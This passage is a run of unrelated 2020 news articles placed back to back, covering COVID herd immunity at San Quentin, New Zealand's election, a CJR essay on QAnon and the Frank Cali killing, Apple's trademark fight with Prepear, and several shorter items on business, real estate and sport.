told The Times a week after he was freed. Kirkpatrick was released from San Quentin on July 13 after his parole on a burglary conviction was expedited because of the outbreak. He tested positive for the virus and has since recovered. Story continues Kirkpatrick said his cellmate was infected, along with most of the rest of the inmates in the 50 or so cells on his tier. They put a little white piece of paper on the door of everyone who was positive, Kirkpatrick said. On our wing, there were, like, maybe five cells that didnt have that piece of paper on them. San Quentin is an imperfect setting to help understand when herd immunity might be achieved. Prisons are crowded settings that will promote coronavirus transmission more so than among people in other settings, like those who live in single-family homes. But the San Quentin experience as well as other data does show that, in the absence of a vaccine, "in order to get to something that approaches herd immunity, we're going to have to get something well on the far side of 50% of people infected," Rutherford said. "Which comes with a resultant large cost in mortality and severe morbidity. "If you believe the San Quentin stuff, you got to get up to way-up-there before you start seeing slowing of transmission," Rutherford said. Dr. Anthony Fauci, the U.S. government's top infectious diseases expert, last week guessed it will probably require 50% to 75% of a population to be immune before achieving herd immunity a goal that should be achieved not just through infected people recovering but also through vaccination. California has a long way to go before the vast majority of residents have been infected. In May, only about 2% of L.A. County residents had test results indicating presence of the antibodies to the coronavirus, indicating previous exposure to the virus. That means 98% of L.A. County's residents as of late spring were still susceptible to infection. The prevalence of past coronavirus infection in the Bay Area was even less, with just 1% having evidence of it in late April, according to the U.S. Centers for Disease Control and Prevention. Sweden famously pursued a herd immunity strategy when it decided not to impose a severe lockdown. But now, Sweden has among the highest mortality rates among European countries, and has a worse rate than that of the United States. Sweden has reported 5,763 deaths a mortality rate of 57 deaths for every 100,000 residents, according to Johns Hopkins University. The United States is reporting a mortality rate of 50 deaths for every 100,000 residents. Sweden's neighbors, by contrast, report far fewer deaths. Denmark has a mortality rate of 11 deaths per 100,000 residents; Norway's is five deaths per 100,000 residents. And Sweden appears to be nowhere near herd immunity, with only 7% of the population testing positive for antibodies to the coronavirus, "leaving them far from reaching natural herd immunity in the population," according to a commentary by two virologists in Switzerland, published in the journal Lancet. "Most of the population appears to have remained unexposed to [the coronavirus], even in areas with widespread virus circulation. "In light of these findings, any proposed approach to achieve herd immunity through natural infection is not only highly unethical, but also unachievable," the commentary said, written by Isabella Eckerle and Benjamin Meyer. The CDC estimates that perhaps only 23% of New York City's population has had past infection with the coronavirus. New York City could easily fall into a second wave of severe coronavirus pandemic conditions, Rutherford said. Other data show how it's possible for far larger proportions of the population to get infected. Among three slums in Mumbai, India, 57% of people tested have been exposed to the coronavirus, according to the BBC, citing a survey conducted by government officials. On a cruise ship with 217 passengers that left Argentina in March bound for Antartica, 59% tested positive for the virus, according to a study published in the journal Thorax. Even nations that have previously been seen as hard hit still have plenty of susceptible people to fuel a second wave of disease. Spain was hard hit in its first surge of the pandemic, having an experience as bad as Italy and New York City, Rutherford said. But a study in the journal Lancet said only about 5% of the population had antibody test results indicating past exposure to the virus. Recently, Spain began experiencing a second wave of cases. What all of this means is that a vaccine is going to be essential to controlling the pandemic. Though officials and experts are expressing cautious optimism that California as a whole appears to be heading out of the current surge of disease, they are already warning the public to expect new surges of cases in the coming months perhaps when disease levels fall low enough that more schools can begin to reopen. Gov. Gavin Newsom last week said he's anticipating a new wave of disease in the fall and is hoping that coronavirus disease transmission falls before the flu season hits. Newsom's Health and Human Services Agency secretary, Dr. Mark Ghaly, also spoke last week about second and third waves of disease. In the last global pandemic comparable to this one, in 1918-19, there were three distinct waves of flu in the U.S., with levels of disease falling back down to the baseline level after the first wave hit. But Rutherford warned that it's possible that California may be unable to get its disease down to a similar baseline level, given how the disease is extraordinarily widespread. "I think it's almost impossible for us to return to baseline given how many people are infected and how broadly distributed the infection is," Rutherford said. "So we'll see it go ... down a little bit before it starts to go back up again," rising whenever officials think it's OK to allow adolescents to return to school. "This is not going to be controlled without vaccine. Make no mistake about it," Rutherford said. "The solution is immunization." Fauci, at a forum Wednesday hosted by the Harvard T.H. Chan School of Public Health, said he thinks officials will know by the end of this year or the beginning of next year, based on initial data from early studies, "whether we have a safe and effective vaccine. I'm cautiously optimistic that we will be successful." Fauci's optimistic timeline is based on the assumption that everything will go right, said Dr. Joel Ernst, chief of UC San Francisco's division of experimental medicine. But it's also plausible that we might not get an answer about a safe and effective vaccine until 2022, Ernst said, citing a more pessimistic timeframe offered by the scientists who designed the clinical trials for the vaccine. "That's very conservative," he said. "It's difficult to predict exactly what date things will be ready," Ernst said. It will also take time to figure out a way to start immunizing Americans. There won't be enough vaccines to inoculate everyone in the nation immediately. "There will be a period of time when vaccines are proven to be safe and effective that you're not going to have 300 million doses right away. So you're gonna have to prioritize who gets it first," Fauci said. In contrast to President Trump saying the coronavirus will simply "go away," some officials in California are bracing the public to face the reality that the coronavirus will be with us for the foreseeable future. We need to get "everyone in shifting their mind-set to a long game," said Santa Clara County health officer Dr. Sara Cody. "We have to be changing our behavior for a very, very long time." "If we see that the cases are rising and they're rising fast, then we may need to put more stricter controls into place, as we did back in March," Cody said. Dr. Christina Ghaly, L.A. County's director of health services, said the virus is just as capable of spreading now as it was several weeks ago. "And it will continue to spread if we give it a chance to do so." Lin reported from San Francisco, Christensen from Southern California. This story originally appeared in Los Angeles Times. The chief ministers of various states asked Prime Minister Narendra Modi to remove the cap on spending funds from the State Disaster Relief Fund (SDRF) to meet the challenges posed by the coronavirus disease and other things. The requests were made during a video conference between PM Modi and chief ministers of various states which was held to discuss the situation arising out of the Covid-19 pandemic. Punjab chief minister Captain Amarinder Singh said that the current cap of 35 per cent in SDRF for Covid-19 related expenditure, as per the guidelines of the Union home ministry, doesnt allow the state governments to tackle the pandemic effectively. He also sought a liberal financial package for states to fill the collection gap caused by the pandemic, and also flexibility on Covid-related terms of expenditure in SDRF, news agency ANI reported quoting a statement from the chief ministers office. Tamil Nadu chief minister Edappadi Palaniswami asked for an additional ad-hoc grant. As we have already fully exhausted State Disaster Response & Mitigation fund, I also request an ad-hoc grant of 1,000 crore from NDRF immediately to fight pandemic, Palaniswami said at the meeting, according to ANI. The demand to remove cap from SDRF was made by Kerala chief minister Pinarayi Vijayan too during a meeting with PM Modi on the flood situation. Apart from Tamil Nadu and Punjab, Uttar Pradesh chief minister Yogi Adityanath, West Bengal chief minister Mamata Banerjee, Telangana chief minister K Chandrasekhar Rao, Maharashtra chief minister Uddhav Thackeray, Gujarat chief minister Vijay Rupani and Bihar chief minister Nitish Kumar also attended the meeting on Tuesday. Defence minister Rajnath Singh was also present in the review meeting. PM Modi has held several meetings with the chief ministers over the Covid-19 situation after the announcement of the first lockdown in March this year. How to stop a political phenomenon like Jacinda Ardern? The task has proved beyond the three New Zealand opposition leaders - Bill English, Simon Bridges and Todd Muller - Ms Ardern has faced so far. The fourth, Judith Collins, has no doubt she's the woman to stop the Labour leader in her tracks at the September 19 poll. According to the Lowy Institute, Ms Ardern is Australia's favourite politician. Ms Collins says there's plenty Australians don't see about Ms Ardern's first term. Judith Collins has no doubt she's the woman to stop the Labour leader in her tracks at the September 19 poll Her government? 'Useless. Totally useless.' Its achievements? 'Almost nothing really.' Speaking with a conviction that belies prediction markets and pollsters, Ms Collins is adamant of Ms Ardern's fate on September 19. 'Well, she's going to lose,' she told AAP. 'It will be an almighty battle. And I don't kid myself. 'It's a tough business but you know I only really get interested in causes that look really tough.' Polling suggests Ms Collins' assessment of difficulty is correct. Two public polls in the last month show National, NZ's centre-right party which governed for nine years until Ms Ardern's arrival in 2017, is on track for a wipe-out. It wasn't always thus. Labour's own polling shows a bump on historic proportions during the first half of 2020, a spike universally attributed to the government's stunning handling of COVID-19. Jacinda Ardern is pictured at her campaign launch In January, when the coronavirus was yet to arrive in New Zealand, National was more popular than Labour as Ms Ardern's government struggled with delivery of key housing and infrastructure programs. But just as it did in Australia, COVID-19 changed the political landscape. Ms Ardern threw New Zealand into lockdown to limit the virus' spread, fronting a near-daily press conference with health authorities to steer Kiwis through the crisis. Politically speaking, when NZ landed the dismount - eliminating COVID-19 from the community - the PM was given the credit. Labour's own polling shows a bump on historic proportions during the first half of 2020, a spike universally attributed to the government's stunning handling of COVID-19. Ms Collins said Ms Ardern would 'absolutely' have overseen a first-term government if an election was held last summer. 'If she hadn't had the opportunity to stand up every day telling everybody what was happening, she would be significantly worse off in the polls,' Ms Collins said. 'Lockdown is pretty easy in New Zealand. For goodness sake we're an island nation. 'It's easy to lock down New Zealand. 'The hard thing is how to come out of it. And I don't think I've seen anything from her, indicating the economic response, how to come out.' Ms Collins says she'll run a campaign 'all about the economy' over the next five weeks, focusing on infrastructure and jobs while whacking Labour for perceived failures in office. While she may land blows on the government's effectiveness, she may struggle to make up ground as preferred prime minister. Politically speaking, when NZ landed the dismount - eliminating COVID-19 from the community - the PM was given the credit. Graph showing new daily coronavirus cases in New Zealand, above Australians may not have heard of Ms Collins, who rose to power in a surprise ballot last month, New Zealanders need no introduction. The 61-year-old is revered by the right, and loathed by the left, after establishing herself as a law-and-order hardliner in Sir John Key's government. She describes a tough childhood growing up in a Labour-voting Waikato household in her recently published autobiography, 'Pull No Punches'. She moved to Auckland, ran restaurants, abandoned Labour after a union dispute, forged a trailblazing legal career and entered parliament for National in 2002. Earning the nickname 'crusher' for an initiative to crush the cars of criminals while Police Minister, she was also forced to resign from the Key government after being tied to the leaking of the private details of two public servants. Ms Collins' power base in caucus comes from the right but she is no stock-standard conservative. She will vote for the euthanasia referendum being held alongside the election, and has supported same-sex marriage and abortion decriminalisation. The Waikato-raised MP has also said she is 'demonised for her ethnicity' as a white person. Ms Collins' reputation is such that on the night of her leadership success, she was likened to Darth Vader cast against Ms Ardern as Luke Skywalker. She calls that comparison 'awful and really nasty' while admitting for many, challenging Ms Ardern is akin to taking on Bambi. 'Look. I'm living in a country where 200,000 people now are on the unemployment benefit,' she says. 'If I was someone facing that sort of unemployment. I wouldn't be looking for Bambi to be looking after me, I'd be looking for someone like me to make things happen. 'It is the toughest possible job but I love it. I'm a very enthusiastic person. I wake up every going 'ooh isn't this exciting'. 'And also I've got a lot of stuff to sell. I mean, what has she got to sell?' Last year, a week before the end of winter on Staten Island, a blue pickup truck backed into a silver Cadillac Escalade parked outside a tasteful, expensive house with a swimming pool in the backyard on Todt Hill. The Escalades owner was Frank Cali, the alleged boss of New Yorks Gambino crime family, once convicted of extortion and widely accused of being the Gambinos emissary to the Inzerillo Mafia clan in Sicily. Cali walked outside to investigate, where he was confronted by the driver, Anthony Comello, a baby-faced twenty-four-year-old man with a pair of handcuffs. According to court documents filed on his behalf by his former lawyer Robert Gottlieb, Comello shook Calis hand and informed him that he intended to make a citizens arrest. Cali declined the offer. Comello reached into his truck and pulled out a 9mm pistol, then shot Cali in the face. Comello drove away. Cali crawled under his Escalade, where he died. It was Wednesday, March 13. RECENTLY: Stop using officer-involved shooting Comello was not a hit man, nor was this his first bizarre attempt at a citizens arrest. The month before, he had gone to Carl Schurz Park on Manhattans Upper East Side to arrest Mayor Bill de Blasio at Gracie Mansion. The mayors security detail declined to make de Blasio available. Shortly thereafter, Gottlieb writes in his court filing, on another occasion, the defendant tried to arrest and detain California Congressional Representatives Maxine Waters and Adam Schiff in the vicinity of the Southern District of New York Federal Courthouse, this time unsuccessfully soliciting help from the US Marshals Services office downtown. Anthony Comello, Gottlieb wrote, was an obsessive follower of QAnon, a growing movement, born on the internet, that believes President Trump is secretly at war with the forces of darkness, in the shape of a sprawling conspiracy that alleges pedophilia and cannibalism at the highest levels of society. Trumps fiendishly complex moves in this war are revealed in posts written by a user calling him-, her-, or themselves Q on online message boards. When Comello appeared in court, he had scrawled a large Q on his hand, along with Patriots in charge USA and maga forever. Sign up for CJR 's daily email It is something of a parlor game to try and attach meaning to QAnon and other similar conspiracy theories that have gained traction in recent years. To me, it seems clear that, stripped down to its essentials, QAnon fulfills a very understandable need to make sense of the torrents of news we are inundated with, free from any context, daily. QAnon does this in a manner that is startlingly similar to a news-obsessed strain of Christian theology called premillennial dispensationalism, which takes metaphorical passages in the Bible and tries to decode them into both individual prophecies that refer directly to current events, as well as a larger meta-prophecy ending in the Rapture of believers to heaven, the coming of the Antichrist, and the battle of Armageddon. QAnon is always sucking in new things that have happened, says Will Sommer, a reporter for the Daily Beast who covers the far right. There was a weird light a couple of years ago off the coast of Oregon, and people were like, Oh, that was a missile trying to take down Air Force One as Trump flew to North Korea. Scrape away at even its weirdest beliefs, and you will find media commentary. Dave Hayes, who goes by PrayingMedic on YouTube and Twitter, carefully chronicles all of Qs posts and lays them out in the manner of a media columnist crossed with a Bible-study leader. He helpfully explains what punctuation means here, what the original drop meant there, how this post refers back to an earlier dispatch. In a long thread from November 11 about Qs drops, Hayes engaged in a long exegesis about John Durham, a United States attorney for the District of Connecticut, into which he attempted to weave the material posted by Q and Comellos murder of Cali. (All punctuation and styling is Hayess.) Durham has specialized in prosecuting public corruption, including abuse by the CI_A, Hayes writes. Q noted that this article says Durham Also spearheaded mob prosecutions of the [Gambino], Genovese and Patriarca crime families. Gambino is in brackets = [Kill box]. Q people refer to clues like Bible verses, Sommer explains. Theyll say, As we know in Drop #300 the way people would say, As we know from John 3:16. I GREW UP AN EVANGELICAL CHRISTIAN. While I am still a Christian who attends church sometimes and prays regularly and reads Bible stories to his kid, I am not an evangelical. I dont believe that I have a duty to trick my Jewish friends into changing religions, that the Bible is a series of texts in different genres that cleverly interlock like a David Mitchell novel when read correctly, or that gay marriage and abortion are sinful. And I do not believe in QAnon. As a journalist, Ive had to rethink a lot of what used to be my most basic assumptions. Like anyone, I am most comfortable when things make sense, whether because the Bible tells us so or because Q has made it clear to us in his drops. Journalism, for me, is a process of perpetual self-frustrationreading interviews against one another for inconsistencies and then bothering the people involved until the inconsistencies go away, which often leads to whole stories unraveling and becoming unprintable or changing so radically that they have to be rewritten and whole other interviews conducted. Its the opposite of reading the Bible the way charismatic Christiansincluding my younger selfdo, in which youre looking for obscure connections, not obscure contradictions. But, as I have watched the rise of Q, and dozens of similar conspiracies, the two parts of my life have merged. This has happened literally. A church called the Omega Kingdom Ministry is the first to formally cross-pollinate Qs gnomic news-oid drops with the charismatic Christianity that QAnon has always sort of resembled. There are plenty of evangelical Christians in the QAnon community, although no denominational bodies have said anything positive about the conspiracy theory. It has also happened metaphorically, as the ways in which Americans interpret the news have become increasingly similar to the ways the faithful interpret their lives. Morgan Lee has observed QAnon for Christianity Today; she says she thinks the draw to an intriguing new system is especially easy for the faithful. The threshold for believing things that are unbelievable might not look the same [as it would for atheists or agnostics], she says. What looks like a leap to those people? Lee thinks the failure of institutions has tempted people to deliberately seek out weirder, more outre ideas. As the government, the media, and even the church have neglected the people they are meant to serve, they have bred a general resentment. Is that something you keep confined to an institution that failed you especially badly, Lee asks, or do you feel resentful of people who you think are flaunting the fact that they have more education than you, who feel they should be taken more seriously than you? I think QAnon appeals to this sense that people have that the devil is real and that satanic forces walk the earth, Sommer says. It blends in to that because it gives you an opportunity to be this spiritual warrior. Religion otherwise might be a little blandergo to church, be a nice personbut QAnon gives you the chance to rescue children in dungeons. It is, in other words, what happens when the news becomes religiona religion whose prophets are not journalists, but the people who interpret their words. I ALSO REMEMBER ideas from evangelicalism that can help us navigate this moment. For example, that the more passive the approach to proselytizing, the more effective: You have to behave kindly toward your neighbors, and hope that they will respond to your kindness with openness, if you want them to take your opinions and ideas seriously. Few people will thank you for winning an argument with them. Far more likely, they will resent and dislike you for humiliating them, which, as Lee observes, is often the root of the problem. A frustrating aspect of evangelicalismindeed, one that ultimately drove me out of itis the refusal of conservative Christians to see nuance outside their own views. Scot McKnight, writing at his blog for Christianity Today, says that liberalism is vacuous at the level of ethics and morality. For me, liberalism is not vacuous. It is the hope that, given a fair hearing, some kind of measurable sliver of reality to which we can cling will present itself through honest inquiry. It is the foundation of the natural sciences and the parent of the suspension of disbelief and judgment that gives us the artsindeed, that gives us language itself. As journalists, it is our faith. It has been overrun in recent years by a series of groups that claim to stand for an unassailable truthone that simply cannot be questioned. Many insist that little earthbound things like the names of the dead, the risks of catching an infectious disease, earnings reports citing suspicious beneficial ownership, and the text of Scripture be subsumed to a broader, capital-T Truth, to which they have special access. The who, what, where, when, and why of our profession, by comparison, are too small. Increasingly, we must maintain that what seem like inconsequential details matter at all. In this, the source of our destruction can be the source of our inspiration. Like evangelical Christians, we must learn to maintain our claims gently, without arrogantly contending them. It may be a far stronger ally to the facts than facts themselves can be. The stakes could not be higher. No matter the details of Frank Calis lifewhether he was a Mob boss, or even if he really was secretly abetting a giant satanic conspiracyhe is now dead in part because the American information economy is broken. ICYMI: The story of the 2020 campaign revolves around Trumps opposition to the American people Has America ever needed a media watchdog more than now? Help us by joining CJR today Sam Thielman is the former Tow editor at the Columbia Journalism Review, and a reporter and critic based in New York. He is the creator, with film critic Alissa Wilkinson, of Young Adult Movie Ministry, a podcast about Christianity and movies, and his writing has been featured in The Guardian, Talking Points Memo, and Variety, among others. Minneapolis: Newly released video of George Floyd's fatal interaction with Minneapolis police shows that medical personnel waited nearly three minutes to perform chest compressions in an attempt to revive the handcuffed man who had been pinned down on the street until he lost consciousness. The body camera footage captured by two of the four officers charged in Floyd's May 25 death was released on Monday, US time, by order of Hennepin County Judge Peter Cahill, who is overseeing the criminal case over Floyd's death. The Minneapolis Police Department had previously declined to release body camera footage from the officers, citing the ongoing investigation. A mural depicting George Floyd in the Watts neighbourhood of Los Angeles. Credit:AP The two approximately 30-minute clips present an even more desperate scene than previously depicted in bystander and surveillance video of the deadly encounter, which fuelled widespread protests calling for police policy changes and transformed national conversations about race, social justice and police brutality. The footage comes from body cameras worn by Alexander Kueng and Thomas Lane, the officers who were the first to encounter Floyd as they investigated a 911 complaint about a fake $US20 bill passed at a convenience store. Samsung Life Insurance headquarters / Yonhap Samsung Life pressured to sell stake in Samsung Electronics with proposed revisions that change book value accounting to market value standard By Anna J. Park, Kim Bo-eun Attention is growing over whether Samsung Life Insurance will be cornered to sell Samsung Electronics stocks it possesses, as ruling party lawmakers' proposed revisions to related regulations appear likely to be passed at the National Assembly. The revisions to the current Insurance Business Act was proposed by the ruling Democratic Party of Korea (DPK) lawmakers, including Park Yong-jin and Lee Yong-woo in June 16 and June 18, respectively. Their bill states that an insurer's asset prices should be calculated according to market value and not book value, when calculating the cap of the firm's total capital assets such as stocks and bonds. This is not the first time such revisions have been proposed they were first proposed during the 19th Assembly back in 2016, and again submitted during the 20th Assembly, yet opposition barred progress from being made. Rep. Park said the bill is necessary in terms of risk management, explaining that insurers were the only financial companies excluded, from a shift to accounting standards based on market value from original book value after the Asian Financial Crisis in 1997. As the bill is likely to be passed this time, based on the DPK dominating seats in the 21st National Assembly, the insurer most likely to be affected by the revisions would be Samsung Life. Its stocks account for 14 percent of the company's total assets; this is a stark contrast when compared to other life insurers, which have on average only around 0.7 percent of their assets as stocks. One of the reasons behind Samsung Life's high stock ratio in their total assets is that the insurer holds a bulk of Samsung Electronics stocks. "Under the current Insurance Business Act, an insurer cannot hold more than 3 percent of their affiliate stocks. Yet, Samsung Life currently holds 8 percent of Samsung Electronics shares, which amounts to about 24 billion won to 30 trillion won ($20 billion to 25 billion)," Rep. Park said. "This is only possible, because insurers' assets are calculated with book value, not market value." Under the book market accounting, Samsung Electronics shares owned by Samsung Life account for about 547 billion won, which is only about 0.18 percent of the insurer's total 30.9 trillion won value, as book value accounting allows the shares to be kept at the prices when they were acquired decades ago. The lawmaker said the current accounting practice should be changed, saying if the IT giant experiences a crisis, it will affect not only Samsung Life, but spread to more entities. Headache for Samsung Life, yet FSC and market insiders back the revisions Samsung Life CEO Jeon Young-muk / Courtesy of Samsung Life Insurance It seemed like a natural progression to Tierra Kavanaugh's family. In 2006, she left her position as executive director for then-Kentucky governor Ernie Fletcher's newly created Office of Minority Empowerment to launch her own business, Louisville-based consultancy and staffing service TKT & Associates. She had one co-founder--her mother, Sheila Kavanaugh. Over the next 14 years, TKT grew to roughly 250 employees as it managed diversity spending and training and offered staffing services for cities, states, and Fortune 500 companies, including Deloitte and Toyota. From 2016 to 2019, TKT increased revenue a whopping 11,106.7 percent, earning the $135 million company a spot at No. 20 on the Inc. 5000--the highest ranking ever achieved by a Black female founder. TKT & Associates No. 20 2020 Rank 11,106.7% Three-Year Growth Louisville Headquarters At the onset of the pandemic, the quickly growing company labored unsuccessfully to secure Paycheck Protection Program funding from Kentucky banks. Kavanaugh and members of her team began conversations to reassess strategic goals and shore up any emergency planning. Then, on April 30, four months before Inc. had finalized TKT's historic place on our list, Kavanaugh died unexpectedly of natural causes, leaving her mother, the company's executive vice president, in charge of keeping her daughter's legacy, and the company, alive. I was a VP and human resources manager at TKT before my daughter passed. As co-founders, Tierra and I talked about succession planning. We just naturally assumed I would leave first. Now, I'm running TKT. My husband has been a business owner for almost 45 years. When Tierra was a girl, she'd watch him do his paperwork. He taught her how to check his invoices. She felt she had a job. Even then, I could see her running her own company. After earning an economics degree from the University of Louisville, Tierra worked in sales and development at American Express, and then ran her own courier service before going to work for Ernie Fletcher--advising government officials about economic development and policies affecting the state's less-advantaged communities. In 2006, she decided that she wanted to start her diversity training and small-business consultancy. She called it TKT--which stood for Tierra Kavanaugh Turner, her married name at the time. I'd worked in human resources at Panasonic for 35 years. When Tierra started, she said, "Mom, could you do some interviews for me?" I said, "Well, sure." And then, I got to thinking, "You know, I like this." So she asked me to come on board officially. Our first office was small. It was just the two of us for about a year. Tierra put in a lot of late hours, looking at other businesses, at how they were growing. At Panasonic, I'd helped with temporary staffing, so I kept pushing the staffing idea. Tierra was reluctant at first, but she grabbed it and ran with it. Eventually, we had every kind of client and staff for any position. Then, we branched out with diversity programs, and it just took off. We were doing business in Texas, New Jersey, all over. It took about two to three years to sit back, take a deep breath and say, "This is working." We started forming a strategic partnership with Deloitte and secured IT and professional service contracts with Louisville and Michigan. Our biggest deal was with Toyota, a six-year contract managing workforce spending on diversity. Tierra capitalized on her relationships with clients in ways that are hard to put into words unless you are Tierra. She thrived on women-owned businesses. One of Tierra's real strengths was her ability to look at a company and identify the gaps to create customized servicing and programming for it. She also excelled at documenting her strategic vision and putting the proper people into place to execute it. When the pandemic arrived, TKT was able to transition smoothly to remote work and virtual interactions with clients because they were already in practice. Tierra was good at identifying trends and patterns. But going through the Small Business Administration PPP loan process was horrific. You had to document your financials and show what you're doing, where your employees are. We were able to do it all. Tierra was always optimistic, always, but this was very frustrating. For everyone. We had multiple relationships with banks--we were talking to five--that were unwilling to work with us. They kept us on a constant due-diligence cycle--never enough documentation, never enough paperwork. And then there were system glitches that provided an opportunity for the banks to use their discretion to say they didn't want to take a risk. We couldn't figure out what that risk was. So we missed the first round of the PPP loans. I'm not Tierra, and I'm not going to try to be Tierra, but I'm determined to fulfill her legacy. That was a little bit of a surprise for us. We're on the list of Capital One's 50 Fastest-Growing Women-Owned/Led Companies--we're on a lot of lists, quite frankly. You would think we were the kind of company that would easily get a PPP loan. It was an eye-opener. I can't say for certain that it was because we were a minority-owned business, but I can tell you that once I saw the statistics around minority-owned businesses and PPP loans, I was like, "Wow! If we had that problem, a lot of smaller companies were probably struggling." The virus has everything at a standstill right now, but I see a bright future for TKT. This was a role I was never expecting to have to fill, but I'm determined to do the best that I can, because I know that's what my baby would want me to do. She put me in this position, not knowing that it was going to end up the way it has. I'm not Tierra, and I'm not going to try to be Tierra, but I'm determined to fulfill her legacy. EXPLORE MORE Inc. 5000 COMPANIES Yo, Adrian! Need a house? Because the childhood home of the A-list actor Sylvester Stallone is on the market for $719,000. Settled on a sleepy street in the Washington, DC, suburb of Silver Spring, MD, the brick Cape Cod was built in 1952. It landed on the market back in 2017 for $750,000, but no buyer took a swing at the placeeven after a series of price cuts. Three years later, aside from its connection to a youthful Stallone, the well-pedigreed place has plenty of other positives. It's immaculately maintained, but a new owner may want to freshen up the look just a bit. The four-bedroom home measures in at 2,525 square feet and boasts hardwood floors, plenty of storage, and a backyard play area for the kids. The fully finished, walk-out basement would be ideal for in-laws or even a live-in nanny. The listing details tout its proximity to shopping, dining, and even a Whole Foods. Exterior of home in Silver Spring, MD realtor.com Entry realtor.com Living room realtor.com Dining room realtor.com Kitchen realtor.com Office realtor.com Master bedroom realtor.com Bathroom realtor.com Basement realtor.com Back patio realtor.com Although the specific details are fuzzy, the home's listing agent, Alfredo Duque, told us Stallone and his family lived in the area for about a decade during the late 1950s and early '60s. He added that Stallone was bullied terribly for his stutter by the other kids and was expelled from two elementary schools during his time there. His parents were both local business people. His dad operated a beauty school, and his mom owned a gym for women. Today, Stallone lives in much grander style, as the iconic star of "Rocky," "Rambo," and "The Expendables," with his wife of more than two decades, Jennifer Flavin. The post Owner of Sylvester Stallone's Childhood Home Takes a Swing at Finding a Buyer appeared first on Real Estate News & Insights | realtor.com. Tech behemoth Apple, which is worth in excess of $1trillion, is taking a company with five employees to court over it its use of a green pear as a logo. Apple claims the recipe app's logo closely resembles its own fruity emblem, and it is trying to prevent the small company from being granted its own trademark. Prepear says it is terrifying to be embroiled in a legal battle with one of the world's biggest, richest and most powerful companies. However, Prepear says it feels a 'moral obligation' to stand up for itself despite the financial strain the legal battle is putting on the company. Scroll down for video Apple (right, logo) is taking a recipe and meal prep app called Prepear (left, logo) to court over the company's logo. Apple is one of the richest companies in the world and Prepear says the costs of the legal battle has forced them to lay off a member of staff Apple filed a notice of opposition against the meal prep company, MacRumours and iPhone in Canada first reported. Apple's logo is one of the most easily recognisable in the world and the company has repeatedly defended it from being copied. The company claims the presence of the green pear logo could 'cause dilution of the distinctiveness' of the Apple logo and diminish the company's identifiability. Prepear says the cost of the legal proceedings has so far amounted to 'many thousands of dollars'. It has already had to lay off a member of staff just to survive the legal onslaught. In contrast, Apple CEO Tim Cook is now officially a billionaire as his personal worth ballooned following Apple's shares soaring last week. He has been in the top job at Apple for almost a decade and Apple is currently around $1.9 trillion with its shares up nearly 54 per cent so far this year The two logos have similarities, they are both fruit and have a leaf. But, there are clear differences as well. For example, as the company names would suggest, one is an apple and one is a pear. They are also different colours and the angle of the leaf is different. However, Apple deems this to be worthy of a lawsuit and describes Prepear's logo as 'a minimalistic fruit design with a right-angled leaf, which readily calls to mind Apple's famous Apple Logo and creates a similar commercial impression'. Court filings reveal Apple believes the similarities of the logos overshadow the differences. It also says that due to the Apple logo being 'so famous and instantly recognizable' that this '[will] cause the ordinary consumer to believe the Applicant is related to, affiliated with or endorsed by Apple'. Prepear co-founder Russell Monson started a petition called 'Save the Pear from Apple!' to raise support for the small app. Apple CEO Tim Cook is a 'demanding' boss who 'leads through interrogation' Despite his friendly, gentle demeanour, Apple's chief executive officer Tim Cook has been described as a tough leader who has been known to 'leave his staff in tears'. A new profile of the billionaire Apple boss describes a man who leads his staff 'through interrogation', according to contacts cited by the Wall Street Journal. Cook succeeded Apple co-founder Steve Jobs as CEO in 2011, six weeks before the latter's death from cancer. Since that time, Apple's market value has soared from $348 billion to $1.9 trillion, but the 'cautious and tactical' leader has had to be ruthless behind the scenes. Cook reached billionaire status earlier today, according to the Bloomberg Billionaires Index. Advertisement For Prepear, the logo is a clever play on words and integrates its product into its logo. For Apple, it is a company that it claims offers 'identical and/or highly related goods and services' and therefore is a threat. Apple is a company with its fingers in many pies - health care, social networking, mobile phone manufacturer - and it says a meal planning app would be 'within Apple's natural zone of expansion for Apple's Apple Marks'. In other words, the fact that Apple may one day branch out into recipes and meal planning is enough justification to challenge Prepear's use of the logo. Prepear co-owner Natalie Monson said on Instagram that she does not want people to stop using Apple products. Instead, their public pleas are the result of a sense of duty. 'I feel a moral obligation to take a stand against Apple's aggressive legal action against small businesses and fight for the right to keep our logo,' she said. 'We are defending ourselves against Apple not only to keep our logo, but to send a message to big tech companies that bullying small businesses has consequences.' MailOnline has approached Apple for comment. Apple CEO Tim Cook was forced to testify before the US Congress last month alongside the chief executives of Amazon, Facebook and Google, as part of an antitrust investigation into major tech companies. The Federal Antimonopoly Service (FAS) of Russia also ruled today that Apple had breached antitrust legislation, following a complaint from cybersecurity company Kaspersky Lab. Earlier this year, Apple was fined 25million (21.2million/$27.4 million) for not telling customers it was deliberately slowing down older iPhones. The iPhone manufacture hit headlines in 2017 for not disclosing the impact the move would have to consumers and France's watchdog has slapped the firm with a fine. International scandal erupted erupted in December 2017 when Apple admitted its iOS update was slowing the older phones and causing diminishing battery life. In the 2019 financial year, Apple made a total of $260.17billion (237.42billion). The 25million fine equates to around 0.01053 per cent of this amount. As coronavirus cases around the world have doubled in the last 45 days, more and more people are seeking out stories and turning toward comfort. And more Americans are listening to podcasts, too: In the early part of this year, almost 40% of the population had listened to a podcast in the last month. Jordanian Foreign Minister Ayman Safadi said on Tuesday that Lebanon will receive several Jordanian aircraft on Thursday carrying aid for the Lebanese, LBCI local TV channel reported. "Lebanon will not be left alone in facing the repercussions of the explosions," Safadi said following his meeting at Baabda Palace with Lebanese President Michel Aoun. Safadi added that the Jordanian field hospital will stay in Lebanon as long as the country needs it. "I conveyed a message of support by Jordan for Lebanon," the minister said. Two huge explosions rocked Port of Beirut on Aug. 4, shaking buildings all over Lebanon's capital and killing 160 people while wounding 6,000. Search Keywords: Short link: Borussia Dortmund have trolled Manchester United with a tweet of Jadon Sancho after the most recent update in the Red Devils pursuit of the winger. The Red Devils have been chasing the signature of the England international for quite some time, but their potential deal took a huge blow as the Dortmund director said that Sancho will be staying in Germany for a further season. Sancho has now after he jetted off with his team-mates to Switzerland for a pre-season training camp and the club made the most of it on their Twitter account. Borussia Dortmund have trolled Manchester United on Twitter after recent developments Michael Zorc has emphatically ruled out Sancho moving to the Premier League giants Dortmund tweeted a photo of Sancho along with the caption 'You love to see it' Along with a photo of the 20-year-old smiling, they wrote: 'You love to see it', in response to the recent developments. Dortmund chief Michael Zorc said: 'We plan with Jadon Sancho. He'll play for us next season. The decision is final. I think that answers all of the questions.' Zorc also went on to reveal that the club secretly renewed Sancho's contract until 2023 a year ago. However, the Red Devils still remain hopeful of landing the England international with the two clubs remaining at loggerheads over his 108million valuation. Dortmund's valuation of the England winger continues to be a stumbling block along with the players' 